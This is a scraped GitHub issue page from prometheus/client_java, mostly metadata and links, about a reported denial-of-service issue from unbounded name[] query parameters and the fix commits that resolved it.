og:imagehttps://opengraph.githubassets.com/8b94ff471c6d53beb1ffe5c89fb596084bdb795eb397c0e63a21cc6a78250cff/prometheus/client_java/issues/2285
og:image:altSecurity Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java 1. Vulnerability Summary Field Value Product prometheus/client_java (Prometheus Java Clien...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernamemanqingzhou
hostnamegithub.com
expected-hostnamegithub.com
None03e5090f0cea887cafa036e3af34d7c668d83b5e9e9e03df72a90efb49b69cdf
turbo-cache-controlno-preview
go-importgithub.com/prometheus/client_java git https://github.com/prometheus/client_java.git
octolytics-dimension-user_id3380462
octolytics-dimension-user_loginprometheus
octolytics-dimension-repository_id7997879
octolytics-dimension-repository_nwoprometheus/client_java
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id7997879
octolytics-dimension-repository_network_root_nwoprometheus/client_java
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release41f00295b9a35dca977890ab83b22788ab211dc8
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/prometheus/client_java/issues/2285#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fprometheus%2Fclient_java%2Fissues%2F2285
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fprometheus%2Fclient_java%2Fissues%2F2285
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=prometheus%2Fclient_java
Reloadhttps://github.com/prometheus/client_java/issues/2285
Reloadhttps://github.com/prometheus/client_java/issues/2285
Reloadhttps://github.com/prometheus/client_java/issues/2285
prometheushttps://github.com/prometheus
client_javahttps://github.com/prometheus/client_java
Codehttps://github.com/prometheus/client_java
Issues12 (12)https://github.com/prometheus/client_java/issues
Pull requests18 (18)https://github.com/prometheus/client_java/pulls
Actionshttps://github.com/prometheus/client_java/actions
Projectshttps://github.com/prometheus/client_java/projects
Security and qualityhttps://github.com/prometheus/client_java/security
Insightshttps://github.com/prometheus/client_java/pulse
https://github.com/prometheus/client_java
New issuehttps://github.com/login?return_to=https://github.com/prometheus/client_java/issues/2285
New issuehttps://github.com/login?return_to=https://github.com/prometheus/client_java/issues/2285
#2334https://github.com/prometheus/client_java/pull/2334
# Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_javahttps://github.com/prometheus/client_java/issues/2285#top
#2334https://github.com/prometheus/client_java/pull/2334
https://github.com/manqingzhou
manqingzhouhttps://github.com/manqingzhou
on Jul 8, 2026https://github.com/prometheus/client_java/issues/2285#issue-4833919746
https://github.com/prometheus/client_javahttps://github.com/prometheus/client_java
https://cwe.mitre.org/data/definitions/400.htmlhttps://cwe.mitre.org/data/definitions/400.html
https://github.com/prometheus/client_javahttps://github.com/prometheus/client_java
https://owasp.org/www-community/attacks/Denial_of_Servicehttps://owasp.org/www-community/attacks/Denial_of_Service
https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.htmlhttps://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html
https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_confighttps://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config
arnabnandy7https://github.com/arnabnandy7
on Jul 8, 2026https://github.com/prometheus/client_java/issues/2285#event-27714570239
fix: bound scrape query parameter parsing (prometheus#2285)https://github.com/arnabnandy7/client_java/commit/34f47eabcfeb9b3a2be214191f5cd1a79c7557af
prometheus#2285https://github.com/prometheus/client_java/issues/2285
34f47eahttps://github.com/arnabnandy7/client_java/commit/34f47eabcfeb9b3a2be214191f5cd1a79c7557af
fix: hide scrape query validation details (prometheus#2285)https://github.com/arnabnandy7/client_java/commit/523b7836f34067134caa07248f0ef3c8744d91d7
prometheus#2285https://github.com/prometheus/client_java/issues/2285
523b783https://github.com/arnabnandy7/client_java/commit/523b7836f34067134caa07248f0ef3c8744d91d7
https://github.com/dhoard
dhoardhttps://github.com/dhoard
on Jul 17, 2026https://github.com/prometheus/client_java/issues/2285#issuecomment-5005169512
@manqingzhouhttps://github.com/manqingzhou
https://prometheus.io/docs/operating/security/https://prometheus.io/docs/operating/security/
zeitlingerhttps://github.com/zeitlinger
completedhttps://github.com/prometheus/client_java/issues?q=is%3Aissue%20state%3Aclosed%20archived%3Afalse%20reason%3Acompleted
#2334https://github.com/prometheus/client_java/pull/2334
on Aug 18, 2026https://github.com/prometheus/client_java/issues/2285#event-29605521497
pullhttps://github.com/apps/pull
on Aug 18, 2026https://github.com/prometheus/client_java/issues/2285#event-29623477305
fix: bound scrape query parameters (prometheus#2334)https://github.com/Hawthorne001/client_java/commit/27e19125668227fac1f39599a93efa2d60cb41a5
prometheus#2334https://github.com/prometheus/client_java/pull/2334
27e1912https://github.com/Hawthorne001/client_java/commit/27e19125668227fac1f39599a93efa2d60cb41a5
Sign up for freehttps://github.com/signup?return_to=https://github.com/prometheus/client_java/issues/2285
Sign in to commenthttps://github.com/login?return_to=https://github.com/prometheus/client_java/issues/2285
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.